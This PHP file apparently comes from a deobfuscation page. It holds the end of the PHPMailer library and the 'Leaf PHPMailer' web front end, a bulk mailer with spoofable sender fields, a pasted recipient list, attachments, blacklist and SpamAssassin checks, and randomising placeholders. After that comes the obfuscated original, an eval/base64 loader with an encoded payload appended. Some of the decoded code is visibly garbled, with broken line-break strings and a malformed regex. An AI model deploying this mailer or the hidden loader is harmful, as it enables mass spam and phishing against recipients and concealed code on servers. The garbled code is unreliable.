if (!$this->alternativeExists()) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!'.
self::CRLF .self::CRLF;
}
return $this->Body;
}
public function html2text($html,$advanced = false)
{
if (is_callable($advanced)) {
return call_user_func($advanced,$html);
}
return html_entity_decode(
trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si','',$html))),
ENT_QUOTES,
$this->CharSet
);
}
public static function _mime_types($ext = '')
{
$mimes = array(
'xl'=>'application/excel',
'js'=>'application/javascript',
'hqx'=>'application/mac-binhex40',
'cpt'=>'application/mac-compactpro',
'bin'=>'application/macbinary',
'doc'=>'application/msword',
'word'=>'application/msword',
'xlsx'=>'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xltx'=>'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'potx'=>'application/vnd.openxmlformats-officedocument.presentationml.template',
'ppsx'=>'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'pptx'=>'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'sldx'=>'application/vnd.openxmlformats-officedocument.presentationml.slide',
'docx'=>'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'dotx'=>'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'xlam'=>'application/vnd.ms-excel.addin.macroEnabled.12',
'xlsb'=>'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'class'=>'application/octet-stream',
'dll'=>'application/octet-stream',
'dms'=>'application/octet-stream',
'exe'=>'application/octet-stream',
'lha'=>'application/octet-stream',
'lzh'=>'application/octet-stream',
'psd'=>'application/octet-stream',
'sea'=>'application/octet-stream',
'so'=>'application/octet-stream',
'oda'=>'application/oda',
'pdf'=>'application/pdf',
'ai'=>'application/postscript',
'eps'=>'application/postscript',
'ps'=>'application/postscript',
'smi'=>'application/smil',
'smil'=>'application/smil',
'mif'=>'application/vnd.mif',
'xls'=>'application/vnd.ms-excel',
'ppt'=>'application/vnd.ms-powerpoint',
'wbxml'=>'application/vnd.wap.wbxml',
'wmlc'=>'application/vnd.wap.wmlc',
'dcr'=>'application/x-director',
'dir'=>'application/x-director',
'dxr'=>'application/x-director',
'dvi'=>'application/x-dvi',
'gtar'=>'application/x-gtar',
'php3'=>'application/x-httpd-php',
'php4'=>'application/x-httpd-php',
'php'=>'application/x-httpd-php',
'phtml'=>'application/x-httpd-php',
'phps'=>'application/x-httpd-php-source',
'swf'=>'application/x-shockwave-flash',
'sit'=>'application/x-stuffit',
'tar'=>'application/x-tar',
'tgz'=>'application/x-tar',
'xht'=>'application/xhtml+xml',
'xhtml'=>'application/xhtml+xml',
'zip'=>'application/zip',
'mid'=>'audio/midi',
'midi'=>'audio/midi',
'mp2'=>'audio/mpeg',
'mp3'=>'audio/mpeg',
'mpga'=>'audio/mpeg',
'aif'=>'audio/x-aiff',
'aifc'=>'audio/x-aiff',
'aiff'=>'audio/x-aiff',
'ram'=>'audio/x-pn-realaudio',
'rm'=>'audio/x-pn-realaudio',
'rpm'=>'audio/x-pn-realaudio-plugin',
'ra'=>'audio/x-realaudio',
'wav'=>'audio/x-wav',
'bmp'=>'image/bmp',
'gif'=>'image/gif',
'jpeg'=>'image/jpeg',
'jpe'=>'image/jpeg',
'jpg'=>'image/jpeg',
'png'=>'image/png',
'tiff'=>'image/tiff',
'tif'=>'image/tiff',
'eml'=>'message/rfc822',
'css'=>'text/css',
'html'=>'text/html',
'htm'=>'text/html',
'shtml'=>'text/html',
'log'=>'text/plain',
'text'=>'text/plain',
'txt'=>'text/plain',
'rtx'=>'text/richtext',
'rtf'=>'text/rtf',
'vcf'=>'text/vcard',
'vcard'=>'text/vcard',
'xml'=>'text/xml',
'xsl'=>'text/xml',
'mpeg'=>'video/mpeg',
'mpe'=>'video/mpeg',
'mpg'=>'video/mpeg',
'mov'=>'video/quicktime',
'qt'=>'video/quicktime',
'rv'=>'video/vnd.rn-realvideo',
'avi'=>'video/x-msvideo',
'movie'=>'video/x-sgi-movie'
);
if (array_key_exists(strtolower($ext),$mimes)) {
return $mimes[strtolower($ext)];
}
return 'application/octet-stream';
}
public static function filenameToType($filename)
{
$qpos = strpos($filename,'?');
if (false !== $qpos) {
$filename = substr($filename,0,$qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
public static function mb_pathinfo($path,$options = null)
{
$ret = array('dirname'=>'','basename'=>'','extension'=>'','filename'=>'');
$pathinfo = array();
if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im',$path,$pathinfo)) {
if (array_key_exists(1,$pathinfo)) {
$ret['dirname'] = $pathinfo[1];
}
if (array_key_exists(2,$pathinfo)) {
$ret['basename'] = $pathinfo[2];
}
if (array_key_exists(5,$pathinfo)) {
$ret['extension'] = $pathinfo[5];
}
if (array_key_exists(3,$pathinfo)) {
$ret['filename'] = $pathinfo[3];
}
}
switch ($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
default:
return $ret;
}
}
public function set($name,$value = '')
{
if (property_exists($this,$name)) {
$this->$name = $value;
return true;
}else {
$this->setError($this->lang('variable_set') .$name);
return false;
}
}
public function secureHeader($str)
{
return trim(str_replace(array("
","
"),'',$str));
}
public static function normalizeBreaks($text,$breaktype = "
")
{
return preg_replace('/(
|
|
)/ms',$breaktype,$text);
}
public function sign($cert_filename,$key_filename,$key_pass,$extracerts_filename = '')
{
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
$this->sign_extracerts_file = $extracerts_filename;
}
public function DKIM_QP($txt)
{
$line = '';
for ($i = 0;$i <strlen($txt);$i++) {
$ord = ord($txt[$i]);
if (((0x21 <= $ord) &&($ord <= 0x3A)) ||$ord == 0x3C ||((0x3E <= $ord) &&($ord <= 0x7E))) {
$line .= $txt[$i];
}else {
$line .= '='.sprintf('%02X',$ord);
}
}
return $line;
}
public function DKIM_Sign($signHeader)
{
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->lang('extension_missing') .'openssl');
}
return '';
}
$privKeyStr = !empty($this->DKIM_private_string) ?$this->DKIM_private_string : file_get_contents($this->DKIM_private);
if (''!= $this->DKIM_passphrase) {
$privKey = openssl_pkey_get_private($privKeyStr,$this->DKIM_passphrase);
}else {
$privKey = openssl_pkey_get_private($privKeyStr);
}
if (version_compare(PHP_VERSION,'5.3.0') >= 0 and
in_array('sha256WithRSAEncryption',openssl_get_md_methods(true))) {
if (openssl_sign($signHeader,$signature,$privKey,'sha256WithRSAEncryption')) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
}else {
$pinfo = openssl_pkey_get_details($privKey);
$hash = hash('sha256',$signHeader);
$t = '3031300d060960864801650304020105000420'.$hash;
$pslen = $pinfo['bits'] / 8 -(strlen($t) / 2 +3);
$eb = pack('H*','0001'.str_repeat('FF',$pslen) .'00'.$t);
if (openssl_private_encrypt($eb,$signature,$privKey,OPENSSL_NO_PADDING)) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
}
openssl_pkey_free($privKey);
return '';
}
public function DKIM_HeaderC($signHeader)
{
$signHeader = preg_replace('/
\s+/',' ',$signHeader);
$lines = explode("
",$signHeader);
foreach ($lines as $key =>$line) {
list($heading,$value) = explode(':',$line,2);
$heading = strtolower($heading);
$value = preg_replace('/\s{2,}/',' ',$value);
$lines[$key] = $heading .':'.trim($value);
}
$signHeader = implode("
",$lines);
return $signHeader;
}
public function DKIM_BodyC($body)
{
if ($body == '') {
return "
";
}
$body = str_replace("
","
",$body);
$body = str_replace("
","
",$body);
while (substr($body,strlen($body) -4,4) == "
") {
$body = substr($body,0,strlen($body) -2);
}
return $body;
}
public function DKIM_Add($headers_line,$subject,$body)
{
$DKIMsignatureType = 'rsa-sha256';
$DKIMcanonicalization = 'relaxed/simple';
$DKIMquery = 'dns/txt';
$DKIMtime = time();
$subject_header = "Subject: $subject";
$headers = explode($this->LE,$headers_line);
$from_header = '';
$to_header = '';
$date_header = '';
$current = '';
foreach ($headers as $header) {
if (strpos($header,'From:') === 0) {
$from_header = $header;
$current = 'from_header';
}elseif (strpos($header,'To:') === 0) {
$to_header = $header;
$current = 'to_header';
}elseif (strpos($header,'Date:') === 0) {
$date_header = $header;
$current = 'date_header';
}else {
if (!empty($$current) &&strpos($header,' =?') === 0) {
$$current .= $header;
}else {
$current = '';
}
}
}
$from = str_replace('|','=7C',$this->DKIM_QP($from_header));
$to = str_replace('|','=7C',$this->DKIM_QP($to_header));
$date = str_replace('|','=7C',$this->DKIM_QP($date_header));
$subject = str_replace(
'|',
'=7C',
$this->DKIM_QP($subject_header)
);
$body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body);
$DKIMb64 = base64_encode(pack('H*',hash('sha256',$body)));
if (''== $this->DKIM_identity) {
$ident = '';
}else {
$ident = ' i='.$this->DKIM_identity .';';
}
$dkimhdrs = 'DKIM-Signature: v=1; a='.
$DKIMsignatureType .'; q='.
$DKIMquery .'; l='.
$DKIMlen .'; s='.
$this->DKIM_selector .
";
".
" t=".$DKIMtime .'; c='.$DKIMcanonicalization .";
".
" h=From:To:Date:Subject;
".
" d=".$this->DKIM_domain .';'.$ident ."
".
" z=$from
".
" |$to
".
" |$date
".
" |$subject;
".
" bh=".$DKIMb64 .";
".
" b=";
$toSign = $this->DKIM_HeaderC(
$from_header ."
".
$to_header ."
".
$date_header ."
".
$subject_header ."
".
$dkimhdrs
);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs .$signed ."
";
}
public static function hasLineLongerThanMax($str)
{
return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH +2).',})/m',$str);
}
public function getToAddresses()
{
return $this->to;
}
public function getCcAddresses()
{
return $this->cc;
}
public function getBccAddresses()
{
return $this->bcc;
}
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
protected function doCallback($isSent,$to,$cc,$bcc,$subject,$body,$from)
{
if (!empty($this->action_function) &&is_callable($this->action_function)) {
$params = array($isSent,$to,$cc,$bcc,$subject,$body,$from);
call_user_func_array($this->action_function,$params);
}
}
}
class phpmailerException extends Exception
{
public function errorMessage()
{
$errorMsg = '<strong>'.htmlspecialchars($this->getMessage()) ."</strong><br />
";
return $errorMsg;
}
}
function leafheader(){
print '
<head>
<title>'.str_replace("www.","",$_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
<h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
<form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
<input type="hidden" name="action" value="score">
<div class="row">
<div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
<div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
</div>
<div class="row">
<span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
<div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
<div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
</div>
<div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>
HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
</div>
<div class="form-group col-lg-3 ">
<label for="charset">Character set</label>
<select class="form-control input-sm" id="charset" name="charset">
<option '.$utf8.'>UTF-8</option>
<option '.$iso.'>ISO-8859-1</option>
</select>
</div>
<div class="form-group col-lg-3 ">
<label for="encoding">Message encoding</label>
<select class="form-control input-sm" id="encode" name="encode">
<option '.$bit8.'>8bit</option>
<option '.$bit7.'>7bit</option>
<option '.$binary.'>binary</option>
<option '.$base64.'>base64</option>
<option '.$quotedprintable.'>quoted-printable</option>
</select>
</div>
</div>
<button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
</form>
</div>
<div class="col-lg-6"><br>
<label for="well">Instruction</label>
<div id="well" class="well well">
<h4>Server Information</h4>
<ul>
<li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
<li>PHP Version : <b>'.phpversion().'</b></li>
</ul>
<h4>HELP</h4>
<ul>
<li>[-email-] : <b>Reciver Email</b> ([email protected])</li>
<ul>
<li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
<li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
</ul>
<li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a",time()).')</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>
<li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
<li>[-randommd5-] : <b>Random MD5 </b></li>
</ul>
<h4>example</h4>
Receiver Email = <b>[email protected]</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
<li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
<li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>
<h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
</div>
</div>';
if($_POST['action']=="send"){
print ' <div class="col-lg-12">';
$maillist=explode("
",$emailList);
$n=count($maillist);
$x =1;
foreach ($maillist as $email ) {
print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
if(!leafMailCheck($email)) {
print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
print "<br>
";
}
else {
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress($email);
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
for($i=0;$i<count($_FILES['attachment']['name']);$i++) {
if ($_FILES['attachment']['tmp_name'][$i] != ""){
$mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
}
}
if (!$mail->send()) {
echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
}
else {
echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
}
print "<br>
";
}
$x++;
for($k = 0;$k <40000;$k++) {echo ' ';}
}
}
elseif($_POST['action']=="score"){
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress("[email protected]");
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
$mail->preSend();
$messageHeaders=$mail->getSentMIMEMessage();
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,'http://spamcheck.postmarkapp.com/filter');
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query(array('email'=>$messageHeaders,'options'=>'long')));
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_TIMEOUT,15);
$response = curl_exec($ch);
$response = json_decode($response);
print ' <div class="col-lg-12">';
if ($response->success == TRUE ){
$score = $response->score;
if ($score >5 ) $class="danger";
else $class="success";
print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.' </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print ' </div>';
}
}
print '</body>';
;
Did this file decode correctly?
Original Code
<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x19ccc;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDhiKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCduQm1pbGhURnY4U09ONlpkQVJlL0xqWCtnS3pVZmIxSEpNR1lXRXBvNTJDRHRJa2N4eTRhMzdzdVFycVZ3MFA5PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>}[sDzIt\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